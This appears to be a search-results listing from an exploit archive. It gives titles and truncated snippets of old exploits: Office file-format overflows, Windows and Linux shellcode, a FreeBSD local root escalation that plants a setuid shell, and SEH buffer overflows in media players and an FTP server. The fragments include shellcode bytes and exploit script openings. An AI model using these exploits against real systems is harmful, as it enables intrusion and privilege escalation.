7612 matches found
Microsoft Excel - FEATHEADER Record (MS09-067)
MS Excel Malformed FEATHEADER Record Exploit CVE-2009-3129, MS09-067, OSVDB-59860 Vulnerble application MS office 2003/2007 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Sean Larsson - Original Discovery !/usr/bin/python import sys import zlib Allwin WinExec cmd.exe + ExitProcess Shellcode - 1...
Windows XP SP3 English MessageBoxA Shellcode - 87 bytes
Windows XP SP3 English MessageBoxA Shellcode - 87 bytes. Shellcode exploit for windows platform / Title: Windows XP SP3 English MessageBoxA Shellcode 87 bytes Date: August 20, 2010 Author: Glafkos Charalambous glafkos@astalavistadotcom Tested on: Windows XP SP3 En Thanks: ishtus Greetz:...
win32/xp sp3 (En) MessageBoxA Shellcode 87 bytes
Exploit for win32 platform in category shellcode ================================================ win32/xp sp3 En MessageBoxA Shellcode 87 bytes ================================================ / Title: Windows XP SP3 English MessageBoxA Shellcode 87 bytes Date: August 20, 2010 Author: Glafkos...
Microsoft Word - Record Parsing Buffer Overflow (MS09-027)
Microsoft Word - Record Parsing Buffer Overflow MS09-027 MS Word Record Parsing Buffer OverflowMS-09-027 Vulnerble application MS office 2003 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Bug Found By Wushi of team509 !/usr/bin/python import sys import zlib windows/exec - CMD=calc.exe shellcod...
Microsoft Word - Record Parsing Buffer Overflow (MS09-027)
MS Word Record Parsing Buffer OverflowMS-09-027 Vulnerble application MS office 2003 Tested on XP SP2 - MS Ofice 2003 v. 11.5604.5606 Bug Found By Wushi of team509 !/usr/bin/python import sys import zlib windows/exec - CMD=calc.exe shellcode = b"\xDB\xDF\xD9\x74\x24\xF4\x58\x2B\xC9\xB1\x33\xBA"...
Linux x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes
Linux x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes. Shellcode exploit for linx86 platform include include / Aodrulez's /bin/sh Null-Free Polymorphic Shellcode. Shellcode size : 46 bytes. Special Tnx to 'Chema Garcia aka sch3m4' Tested on : Ubuntu 8.04,Hardy Heron. Email :...
FreeBSD - mbufs() sendfile Cache Poisoning Privilege Escalation
FreeBSD - mbufs sendfile Cache Poisoning Privilege Escalation / freebsd x86/x64 sendfile cache local root xpl v2 by Kingcope 2010 -- should h4x any freebsd 8. and 7. prior to 12Jul2010 tampers /bin/sh to contain a shellcode which does ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how t...
linux/x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes
Exploit for linux/x86 platform in category shellcode ============================================================ linux/x86 /bin/sh Null-Free Polymorphic Shellcode - 46 bytes ============================================================ include include / Aodrulez's /bin/sh Null-Free Polymorphic...
FreeBSD - 'mbufs()' sendfile Cache Poisoning Privilege Escalation
/ freebsd x86/x64 sendfile cache local root xpl v2 by Kingcope 2010 -- should h4x any freebsd 8. and 7. prior to 12Jul2010 tampers /bin/sh to contain a shellcode which does ' chmod a+s /tmp/sh chown root /tmp/sh execve /tmp/sh2 ' how to use: terminal 1: $ cp /bin/sh /tmp/sh $ cp /bin/sh /tmp/sh2 ...
SOMPL Music Player v1.0 (.m3u) Local Buffer Overflow (SEH)
Exploit for windows platform in category local exploits ========================================================== SOMPL Music Player v1.0 .m3u Local Buffer Overflow SEH ========================================================== Exploit Title: SOMPL Music Player v1.0 .m3u Local Buffer Overflow SE...
rpc.ttdbserverd x86 Proof Of Concept Exploit
Check Point Software Technologies - Vulnerability Discovery Team VDT Rodrigo Rubira Branco - RPC TTDB .rec parser Heap Overflow thrjmptable does not exist on Solaris 10 u8 See the SPARC version of this exploit to see how to specify other addresses to be overwritten use POSIX; use IO::Socket; use...
Triologic Media Player 8 (.m3u) Universal Unicode Buffer Overflow (SEH)
Exploit for windows platform in category local exploits ======================================================================= Triologic Media Player 8 .m3u Universal Unicode Buffer Overflow SEH ======================================================================= Exploit Title: Triologic Medi...
linux/x86 setuid(0) && execve(/usr/sbin/pwunconv,0,0) 42 bytes
Exploit for linux/x86 platform in category shellcode ======================================================================== linux/x86 setuid0 && execve/usr/sbin/pwunconv,0,0 shellcode 42 bytes ======================================================================== Special Thanks Inj3ct0r Explo...
linux/x86 setuid(0) && execve(/bin/sh,0,0) 27 bytes
Exploit for linux/x86 platform in category shellcode ============================================================= linux/x86 setuid0 && execve/bin/sh,0,0 shellcode 27 bytes ============================================================= Special Thanks Inj3ct0r Exploit DataBase I Love Inj3ct0r.Com...
Rosoft Media Player 4.4.4 - Local Buffer Overflow (SEH) (2)
!/usr/bin/python Title: Rosoft media player 4.4.4 SEH buffer overflow Date: August 15, 2010 Author: dijital1 Original Advisory: http://www.exploit-db.com/exploits/14601 - abhishek lyall Platform: Windows XP SP3 EN Professional - VMware Greetz to: Corelan Security Team, Exploit-db, OffSec...
Mediacoder 0.7.5.4710 Buffer Overflow
media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link http://www.mediacoderhq.com/dlfull.htm tested on XP SP2 author abhishek lyall - abhilyallatgmaildotcom web - http://www.aslitsecurity.com/ blog - http://www.aslitsecurity.blogspot.com/ !/usr/bin/python to exploit load...
myMP3-Player 3.0 Buffer Overflow
Exploit Title: myMP3-Player 3.0 NOT SEH Overwrite Date: 8 / 8 / 2010 Author: Oh Yaw Theng Software Link: http://www.chip.de/downloads/myMP3-Player-3.013008621.html Version: 3.0 Tested on: Windows XP SP 2 CVE : N / A !/usr/bin/python filename = "crash.m3u" junk = "\x41" 1024 ret = "\x65\x82\xA5\x7...
Easy FTP 1.7.0.11 Buffer Overflow
Exploit Title: Easy FTP Server v1.7.0.11 NLST , NLST -al, APPE, RETR , SIZE and XCWD Commands Remote Buffer Overflow Exploit Date: 10/8/2010 Author: Rabih Mohsen Software Link:http://code.google.com/p/easyftpsvr/downloads/detail?name=easyftp-server-1.7.0.11-cn.zip Version: 1.7.0.11 Tested on:...
Mediacoder 0.7.5.4710 - Local Buffer Overflow
Mediacoder 0.7.5.4710 - Local Buffer Overflow media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link http://www.mediacoderhq.com/dlfull.htm tested on XP SP2 !/usr/bin/python to exploit load the crash.m3u file and double click on it filename = "crash.m3u" junk = "\x41" 256...
Mediacoder 0.7.5.4710 Buffer Overflow Exploit
Exploit for windows platform in category local exploits ============================================= Mediacoder 0.7.5.4710 Buffer Overflow Exploit ============================================= media coder 0.7.5.4710 0 day buffer overflow exploit vulnerble application link...